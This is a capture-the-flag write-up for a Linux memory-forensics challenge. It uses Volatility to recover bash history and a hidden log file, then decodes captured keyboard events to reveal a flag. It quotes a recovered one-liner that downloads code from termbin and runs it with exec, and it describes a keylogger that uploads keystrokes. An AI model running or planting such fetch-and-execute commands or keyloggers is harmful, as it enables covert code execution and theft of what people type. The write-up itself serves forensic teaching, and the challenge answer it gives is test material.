tl;dr
- Create a Linux profile for Ubuntu 18.04 (5.4.0-42-generic) in Volatility
- Use
linux_bash
plugin to get link to the repo andlinux_find_file
plugin to recover the filepath - Decode the keyboard stream data to retrieve the flag
Challenge Points: 956
No of Solves: 11
Challenge Author: d3liri0us
Challenge Description
We sent Michael over to the Union Depository to collect data from one of their systems for the heist. We were able to retrieve the data, but it looks like they were able to read the message sent to us that Michael had typed from their system. Fortunately, he took the memory dump before escaping the building. Analyze the memory dump and find out how the message was compromised.
Initial Analysis
The handout contains a lime file which is basically a Linux memory dump. For analysis, we will be using volatility and work our way to build and load the Linux profile.
Building the Linux Profile
In order to start off with the challenge, we need to build a Linux profile for Volatility so that it can parse information from the memory dump. A Linux profile is basically a zip file with information on the kernel’s data structures and debug symbols.
To build the Linux profile, we need to identify the Linux version of the system. There are a couple of ways to do it but we will be using strings
in this case.
1 | strings the_big_score.lime | grep 'Linux version' |
This will give out the following string:
1 | Linux version 5.4.0-42-generic (buildd@lgw01-amd64-023) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 (Ubuntu 5.4.0-42.46~18.04.1-generic 5.4.44) |
From the above result, the Linux version is Ubuntu 18.04 (5.4.0-42-generic)
Now we need to build a system with the same Linux version (basically host a VM) and follow the steps mentioned here in order to build the Linux profile.
Exploring the memory dump
After creating the Linux profile, we can start using volatility plugins for further analysis.
- Using
linux_bash
plugin, it’s possible to recover the bash history from the memory dump.
1 | python vol.py -f the_big_score.lime --profile=LinuxUbuntu1804x64 linux_bash |
This will yield us a few results, but the stuff we are interested in is:
1 | 2683 bash 2021-08-07 13:11:08 UTC+0000 python -c "import urllib2;exec(urllib2.urlopen('https://termbin.com/ab9v').read())" |
- Looking into the link, we find it’s a base64 encoded executable file. The command basically executes the executable file without the executable being stored in the system. The process can only be detected when it is running in the memory.
- Decoding the base64 encoded executable, it’s pretty easy to understand what it does by looking at the strings. It clones a git repo, executes the python script and then removes the repo from the system. (Alternate : Dumping the malicious process, we can directly get the executable and read the strings)
- Analyzing the code given in the repo, it basically reads data from
/dev/input/event2
, encodes it into hex and uploads it to termbin. The filepath fortermbin.com
is hashed, reversed and stored inbin/log
along with random hashes. - The next step is to figure out how to extract
bin/log
and get the hash. For this, we will be usinglinux_enumerate_files
plugin along withgrep
to figure out the inode number of the file.
1 | python vol.py -f the_big_score.lime --profile=LinuxUbuntu1804x64 linux_enumerate_files | grep 'bin/log' |
Output :
1 | 0xffff8aa80573b890 930908 /home/user420/bin/log |
Now that we have the inode number, we can use linux_find_file
plugin to extract the file from the memory dump.
1 | python vol.py -f the_big_score.lime --profile=LinuxUbuntu1804x64 linux_find_file -i 0xffff8aa80573b890 -O log |
- The specific hash that we are looking for is :
0bb3dfada523c1a14c3224849368e9ff
- After reversing, we get
v61x
on cracking the hash. This gives us the full link :https://termbin.com/v61x
(Alternate : Since the whole process is recorded in the memory and knowing that the output consists ofhttps://termbin.com/
, doing a simplegrep
on the lime file will get us the link)
Decoding the keyboard stream data
- As mentioned before, the data uploaded to the termbin is hex-encoded data of
/dev/input/event2
whereinevent2
is the event handler for keyboard in this case. - Convert the hex-encoded data back to it’s original data using
xxd -r -p v61x.data key.data
. - Now we have to decode the keyboard stream data. For that, it is recommended to visit this site for understanding the concept.
- The script for decoding mentioned over here does not print out the flag but rather prints the result showing the press/release mechanism of the keystrokes for better understanding. Using the following python script and dictionary:It will generate the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22from dictionary import keyvalues
import struct,os,sys
f = open("key.data","rb")
data = []
keystrokes = ''
while True:
try:
data.append(str(list(struct.unpack('4IHHI',f.read(24)))[6]))
except:
for i in range(len(data)):
try:
if i%3 == 0:
if data[i+1] == '1' or data[i+1] == '2': # Value '1' denotes the key is pressed and Value '2' denotes the key hasn't been released
keystrokes += keyvalues[data[i]]+'+'
else: # Value '0' denotes the key has been released
keystrokes += keyvalues[data[i]]+' '
except:
print(keystrokes)
exit()
1 | [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+i+i [LEFT_SHIFT] [SPACE]+[SPACE] h+h a+a v+v e+e [SPACE]+[SPACE] a+a l+l l+l [SPACE]+[SPACE] t+t h+h e+e [SPACE]+[SPACE] d+d a+a t+t a+a [SPACE]+[SPACE] n+n e+e e+e d+d e+e d+d [SPACE]+[SPACE] f+f o+o r+r [SPACE]+[SPACE] t+t h+h e+e [SPACE]+[SPACE] h+h e+e i+i s+s t+t .+. [SPACE]+[SPACE] [LEFT_SHIFT]+[LEFT_SHIFT]+t+t [LEFT_SHIFT] r+r e+e v+v o+o r+r [SPACE]+[SPACE] c+c a+a n+n [SPACE]+[SPACE] h+h a+a n+n d+d l+l e+e [SPACE]+[SPACE] t+t h+h e+e [SPACE]+[SPACE] g+g u+u n+n s+s [SPACE]+[SPACE] a+a n+n d+d [SPACE]+[SPACE] [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+f+f [LEFT_SHIFT] r+r a+a n+n k+k l+l i+i n+n [SPACE]+[SPACE] w+w i+i l+l l+l [SPACE]+[SPACE] b+b e+e [SPACE]+[SPACE] o+o n+n [SPACE]+[SPACE] t+t h+h e+e [SPACE]+[SPACE] g+g e+e t+t a+a w+w a+a y+y [SPACE]+[SPACE] v+v e+e h+h i+i c+c l+l e+e .+. [SPACE]+[SPACE] [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+i+i [LEFT_SHIFT] t+t [SPACE]+[SPACE] f+f e+e e+e l+l s+s [SPACE]+[SPACE] g+g o+o o+o d+d [SPACE]+[SPACE] t+t o+o [SPACE]+[SPACE] s+s a+a y+y [SPACE]+[SPACE] t+t h+h a+a t+t [SPACE]+[SPACE] i+i n+n c+c t+t f+f [LEFT_SHIFT]+[+[ [LEFT_SHIFT] t+t h+h 1+1 s+s [LEFT_SHIFT]+[LEFT_SHIFT]+-+- [LEFT_SHIFT] 1+1 s+s [LEFT_SHIFT]+[LEFT_SHIFT]+-+- [LEFT_SHIFT] t+t h+h e+e [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+-+- [LEFT_SHIFT] b+b 1+1 g+g [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+-+- [LEFT_SHIFT] o+o [LEFT_SHIFT]+[LEFT_SHIFT]+n+n [LEFT_SHIFT] e+e [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+-+- [LEFT_SHIFT] l+l e+e s+s t+t e+e r+r [LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+[LEFT_SHIFT]+]+] [LEFT_SHIFT] [ENTER]+[ENTER] |
In order to understand the output, there are a couple of things to remember:
- Every press/release is recorded in the following format:
1
2
3[1628341964, 0, 607671, 0, 4, 4, X]
[1628341964, 0, 607671, 0, 1, X, Y]
[1628341964, 0, 607671, 0, 0, 0, 0] - In the format,
X
is value of the key on the keyboard. - The course of action,
Y
can take three values which are0
(Key is released),1
(Key is pressed) and2
(Key is not released). - The output generated by the script is in such a way that for
Y
=1
or2
, it will printkeyvalues[X]+
and forY
=0
, it will printkeyvalues[X]
. - For example if the output is
a+a
, it means keyA
is pressed and released so the result will bea
. If the output is like[LEFT_SHIFT]+a+a [LEFT_SHIFT]
, it meansLeft Shift
is pressed, keyA
is pressed and released and thenLeft Shift
is released which will result intoA
as the output. If the output is like[LEFT_SHIFT]+[LEFT_SHIFT]+
, it simply means thatLeft Shift
key is pressed and not released since the event records it asY
=2
in this case. - Understanding the functionality, we can apply those changes to the script in order to get the following output:
1 | I have all the data needed for the heist. Trevor can handle the guns and Franklin will be on the getaway vehicle. It feels good to say that inctf{th1s_1s_the_b1g_oNe_lester} |
Flag
1 | inctf{th1s_1s_the_b1g_oNe_lester} |
I hope you guys had fun and learnt something new from the challenge, I learnt some new stuff (and experienced pain :P) while making it. Feel free to reach out to me on Twitter for any questions/queries regarding this challenge.